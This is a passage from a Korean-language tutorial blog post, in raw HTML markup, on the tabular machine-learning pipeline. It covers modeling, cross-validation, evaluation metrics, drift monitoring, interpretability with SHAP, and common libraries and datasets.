&lt;blockquote data-ke-style=&quot;style2&quot;&gt;여기서&lt;b&gt; 피처 엔지니어링&lt;/b&gt;는&lt;br /&gt;형사가 용의자를 수사할 때, 원시 증거만 나열하는 것과 단서를&amp;nbsp;조합해서 새로운 사실을 끌어내는&amp;nbsp;것은 전혀 다르다.&lt;br /&gt;&quot;용의자가 은행 근처에 있었다&quot; + &quot;그날 큰 금액을 인출했다&quot; + &quot;평소와 다른 경로로 이동했다&quot; &amp;rarr;&amp;nbsp;&quot;수상한 금융 활동&quot;&amp;nbsp;이라는 강력한 단서가 된다.&lt;br /&gt;&lt;br /&gt;피처 엔지니어링도 이와 같다. 날짜에서 &quot;공휴일 여부&quot;를 추출하거나, 가격과 수량을 곱해 &quot;총 매출&quot;을 만드는 것처럼,&amp;nbsp;원시 데이터에서 숨겨진 의미를 꺼내&amp;nbsp;모델이 더 쉽게 배울 수 있도록 돕는다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4단계 &amp;mdash; 모델링 (Modeling)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전처리된 데이터로 실제 &lt;b&gt;모델을 선택하고 학습&lt;/b&gt;시키는 단계이다. Tabular 데이터에 사용되는 주요 모델 계열은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;모델 유형&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;선형/로지스틱 회귀&lt;/td&gt;
&lt;td&gt;Linear Regression, Logistic Regression&lt;/td&gt;
&lt;td&gt;해석이 쉽고 기준선(baseline)으로 적합하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;트리 기반 앙상블&lt;/td&gt;
&lt;td&gt;XGBoost, LightGBM, CatBoost&lt;/td&gt;
&lt;td&gt;Tabular ML에서 대부분의 현실 문제에 강력하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;딥러닝 / 기반 모델&lt;/td&gt;
&lt;td&gt;신경망, LLM, TabPFN&lt;/td&gt;
&lt;td&gt;대규모 데이터나 새로운 패러다임에서 주목받고 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 많은 현실 문제에서는 &lt;b&gt;XGBoost, LightGBM, CatBoost&lt;/b&gt; 같은 그래디언트 부스팅(Gradient Boosting) 계열 트리 앙상블 모델이 최고의 성능을 보인다. 이 모델들은 Kaggle 같은 데이터 경진대회에서도 압도적으로 많이 쓰인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5단계 &amp;mdash; 평가 (Evaluation)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋은 모델을 만들기 위해서는 &lt;b&gt;신뢰할 수 있는 평가&lt;/b&gt;가 필수다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;교차 검증 (Cross-Validation, CV)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터를 단순히 훈련/테스트로 나누는 것보다 더 신뢰할 수 있는 방법이다. 데이터를 여러 개의 폴드(fold)로 나누고, 돌아가며 검증 세트로 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;erlang-repl&quot;&gt;&lt;code&gt;전체 데이터
├── 훈련 데이터 ──&amp;rarr; CV로 하이퍼파라미터 최적화 ──&amp;rarr; 최적 모델
└── 별도 테스트 세트 ──&amp;rarr; 최종 성능 평가 (딱 한 번만!)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;흔한 함정들&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;훈련-테스트 오염&lt;/b&gt;: 전처리에서 테스트 데이터 정보가 훈련에 흘러들어가는 것&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단일 검증 세트 과적합&lt;/b&gt;: 하나의 검증 세트로만 수천 번의 하이퍼파라미터 조합을 시험하면, &lt;br /&gt;그 검증 세트에 특화된 모델이 나온다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;평가 지표 (Evaluation Metrics)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qxBpK/dJMcahdQhgY/bc2gjoZF9bwrKGhEJniMuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qxBpK/dJMcahdQhgY/bc2gjoZF9bwrKGhEJniMuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qxBpK/dJMcahdQhgY/bc2gjoZF9bwrKGhEJniMuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqxBpK%2FdJMcahdQhgY%2Fbc2gjoZF9bwrKGhEJniMuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;759&quot; height=&quot;338&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;839&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 유형에 맞는 지표를 선택해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;회귀(Regression) 지표&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MAE (Mean Absolute Error)&lt;/b&gt;: 평균 절대 오차. 직관적으로 이해하기 쉽다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MSE (Mean Squared Error)&lt;/b&gt;: 평균 제곱 오차. 큰 오차에 더 큰 패널티를 준다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;R&amp;sup2; Score&lt;/b&gt;: 모델이 데이터의 분산을 얼마나 설명하는지. &lt;br /&gt;$R^2 = 1 - \frac{\sum(y_i - \hat{y}_i)^2}{\sum(y_i - \bar{y})^2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wltCw/dJMcacDDeZy/hxyXmdPadJAw8SLe58Lba1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wltCw/dJMcacDDeZy/hxyXmdPadJAw8SLe58Lba1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wltCw/dJMcacDDeZy/hxyXmdPadJAw8SLe58Lba1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwltCw%2FdJMcacDDeZy%2FhxyXmdPadJAw8SLe58Lba1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;434&quot; height=&quot;49&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분류(Classification) 지표&lt;/b&gt;:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;height: 234px;&quot; width=&quot;841&quot; data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;계산식&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;정확도 (Accuracy)&lt;/td&gt;
&lt;td&gt;(TP + TN) / 전체&lt;/td&gt;
&lt;td&gt;전체 중 맞춘 비율&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;정밀도 (Precision)&lt;/td&gt;
&lt;td&gt;TP / (TP + FP)&lt;/td&gt;
&lt;td&gt;&quot;양성&quot;이라고 예측한 것 중 실제 양성 비율&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;재현율 (Recall)&lt;/td&gt;
&lt;td&gt;TP / (TP + FN)&lt;/td&gt;
&lt;td&gt;실제 양성 중 맞게 예측한 비율&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F1 Score&lt;/td&gt;
&lt;td&gt;Precision과 Recall의 조화 평균&lt;/td&gt;
&lt;td&gt;둘의 균형&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AUC-ROC&lt;/b&gt;: 임계값에 관계없이 모델의 전반적 변별력을 측정한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AUC-PR (Precision-Recall)&lt;/b&gt;: 클래스 불균형이 심할 때 AUC-ROC보다 더 유용하다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;문제에 맞는 지표 선택이 중요하다&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;문제 유형&lt;/th&gt;
&lt;th&gt;추천 지표&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;사기 탐지 (희귀 양성)&lt;/td&gt;
&lt;td&gt;PR-AUC, 고정 정밀도에서의 재현율&lt;/td&gt;
&lt;td&gt;정확도는 의미없다 (99%가 정상이면 모두 정상이라 해도 99% 정확)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;의료 검진 (놓치면 심각)&lt;/td&gt;
&lt;td&gt;Recall (재현율) 최적화&lt;/td&gt;
&lt;td&gt;환자를 놓치는 것이 치명적이다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스팸 필터 (오탐이 비용)&lt;/td&gt;
&lt;td&gt;Precision (정밀도) 최적화&lt;/td&gt;
&lt;td&gt;정상 메일을 스팸으로 분류하는 것이 더 나쁘다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최선의 지표는 현실에서 오류 비용을 가장 잘 반영하는 지표이다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6단계 &amp;mdash; 배포 및 모니터링 (Deployment &amp;amp; Monitoring)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋은 모델을 만들었다고 해서 끝이 아니다. 실제 서비스에 적용하고 지속적으로 관리해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배포 시 고려사항&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;배치(Batch) vs 온라인(Online) 추론&lt;/b&gt;: 대량 데이터를 한꺼번에 처리할지, 요청이 올 때마다 실시간으로 처리할지 결정한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;학습-배포 일관성&lt;/b&gt;: 학습 때 적용한 전처리 단계가 배포 환경에서도 &lt;b&gt;반드시 동일하게&lt;/b&gt; 적용되어야 한다. 그렇지 않으면 모델이 이상한 값을 예측한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모니터링 항목&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;데이터 드리프트(Data Drift)&lt;/b&gt;: 입력 데이터의 분포가 시간이 지나며 변한다 (예: 고객 행동 패턴의 변화)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컨셉 드리프트(Concept Drift)&lt;/b&gt;: 입력-출력 관계 자체가 변한다 (예: 경제 상황 변화로 인한 신용 기준 변화)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능 저하(Performance Degradation)&lt;/b&gt;: 실시간 지표가 학습 때보다 떨어지는지 모니터링한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공정성 지표(Fairness Metrics)&lt;/b&gt;: 특정 집단에 대한 차별적 예측이 발생하지 않는지 확인한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제가 감지되면 모델을 재학습하거나 업데이트해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;데이터 드리프트&lt;/b&gt;는&lt;br /&gt;2019년에 만들어진 내비게이션 지도로 2026년 도로를 달린다고 상상해보자.&lt;br /&gt;그사이 새 도로가 생기고, 일방통행이 바뀌고, 공사 구간이 추가됐다. 내비게이션은 자신있게 길을 안내하지만, &lt;br /&gt;현실과 점점 어긋난다.&lt;br /&gt;&lt;br /&gt;머신러닝 모델도 같다. 세상은 계속 변하는데 모델은 과거 데이터로만 학습되어 있다.&amp;nbsp;&lt;br /&gt;데이터 드리프트는 입력 데이터의 분포가 바뀌는 것이고,&amp;nbsp;&lt;br /&gt;&lt;br /&gt;컨셉 드리프트는 &quot;이런 패턴이면 이런 결과&quot;라는 관계 자체가 바뀌는 것이다. 모델을 배포하고 끝이 아니라, 지속적으로 지도를 업데이트해야 한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;해석 가능성 (Interpretability)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;높은 예측 성능만으로는 충분하지 않을 때가 많다. 특히 금융, 의료, 법률 분야에서는 &lt;b&gt;왜 그런 예측을 했는지&lt;/b&gt; 설명할 수 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;해석 가능성&lt;/b&gt;&lt;br /&gt;병원에서 의사가 &quot;당신은 암일 확률이 87%입니다&quot;라고 말한다. 환자가 &quot;왜요?&quot;라고 물었더니 의사가&amp;nbsp;&quot;AI가 그렇게 판단했어요&quot;&amp;nbsp;라고만 답한다.&lt;br /&gt;&lt;br /&gt;납득할 수 있는가? 대출 심사에서 &quot;당신의 대출은 거절됐습니다&quot;라는 결과만 주고 이유를 알려주지 않는다면? &lt;br /&gt;법적으로도, 도덕적으로도 문제가 된다.&lt;br /&gt;&lt;br /&gt;해석 가능성은&amp;nbsp;&quot;모델이 왜 이 예측을 했는지 인간이 이해할 수 있게 만드는 것&quot;&amp;nbsp;이다. &lt;br /&gt;성능이 아무리 좋아도 설명할 수 없다면, 실제 현장에서 신뢰받기 어렵다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지 수준의 해석이 필요하다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;전역(Global) 해석&lt;/b&gt;: 모델 전체에서 어떤 특성이 중요한가?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지역(Local) 해석&lt;/b&gt;: 이 특정 샘플에 대해 왜 이런 예측이 나왔는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 기법&lt;/b&gt;:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;height: 111px;&quot; width=&quot;795&quot; data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 23px;&quot;&gt;
&lt;th style=&quot;width: 251px; height: 23px;&quot;&gt;기법&lt;/th&gt;
&lt;th style=&quot;width: 538px; height: 23px;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 44px;&quot;&gt;
&lt;td style=&quot;width: 251px; height: 44px;&quot;&gt;순열 중요도 &lt;br /&gt;(Permutation Importance)&lt;/td&gt;
&lt;td style=&quot;width: 538px; height: 44px;&quot;&gt;특정 특성을 무작위로 섞었을 때 성능이 얼마나 떨어지는지 측정한다. &lt;br /&gt;많이 떨어질수록 중요한 특성이다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 44px;&quot;&gt;
&lt;td style=&quot;width: 251px; height: 44px;&quot;&gt;SHAP&lt;/td&gt;
&lt;td style=&quot;width: 538px; height: 44px;&quot;&gt;각 특성이 개별 예측에 얼마나 기여했는지 수치로 계산한다. &lt;br /&gt;트리 기반 모델에 특히 효율적으로 계산된다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;도구 및 데이터셋&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular ML을 시작하기 위한 실용적인 자원을 소개한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 라이브러리&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;NumPy, Pandas&lt;/b&gt;: 데이터 처리의 기본&lt;/li&gt;
&lt;li&gt;&lt;b&gt;scikit-learn&lt;/b&gt;: 전처리, 모델링, 평가를 포괄하는 파이썬 ML 표준 라이브러리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;XGBoost, LightGBM, CatBoost&lt;/b&gt;: 그래디언트 부스팅 트리 앙상블&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Optuna&lt;/b&gt;: AutoML, 하이퍼파라미터 최적화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PyTorch&lt;/b&gt;: 딥러닝&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공개 데이터셋 및 벤치마크&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kaggle.com&quot;&gt;Kaggle&lt;/a&gt;: 실제 기업 문제를 다루는 최대 데이터 경진대회 플랫폼&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://archive.ics.uci.edu&quot;&gt;UCI Machine Learning Repository&lt;/a&gt;: 고전적인 ML 벤치마크 데이터셋 모음&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openml.org&quot;&gt;OpenML&lt;/a&gt;: 오픈소스 ML 실험 공유 플랫폼&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://aihub.or.kr&quot;&gt;AI Hub&lt;/a&gt;: 한국 AI 데이터 허브&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;앞으로의 여정 &amp;mdash; 강의 로드맵&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서 다룬 내용은 Tabular ML의 입문이다. 이후 배울 내용들을 미리 살펴보면:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;고전적 ML 모델&lt;/b&gt; &amp;mdash; 결정 트리, 랜덤 포레스트, 그래디언트 부스팅 등&lt;/li&gt;
&lt;li&gt;&lt;b&gt;딥러닝 아키텍처&lt;/b&gt; &amp;mdash; Tabular 데이터를 위한 신경망 구조&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Tabular 표현 학습&lt;/b&gt; &amp;mdash; 비지도 사전학습을 통한 성능 향상&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LLM과 Tabular 데이터&lt;/b&gt; &amp;mdash; 대형 언어 모델을 테이블 문제에 적용하기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;새로운 패러다임: TabPFN&lt;/b&gt; &amp;mdash; 소규모 Tabular 데이터를 위한 사전 학습된 트랜스포머&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;마무리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tabular ML 파이프라인을 정리하면 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;&quot;&gt;&lt;code&gt;데이터 수집 &amp;rarr; EDA &amp;rarr; 전처리 &amp;rarr; 모델링 &amp;rarr; 평가 &amp;rarr; 배포 및 모니터링&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 단계가 독립적이지 않고 서로 긴밀하게 연결되어 있다. 특히:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;전처리는 모델만큼 중요&lt;/b&gt;하다. 데이터 누수 없이 잘 만들어진 전처리가 성능을 크게 좌우한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;평가 프로토콜은 모델 선택만큼 중요&lt;/b&gt;하다. 신뢰할 수 없는 평가로는 올바른 모델을 선택할 수 없다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;해석 가능성과 모니터링&lt;/b&gt;은 실제 서비스 환경에서 필수적이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
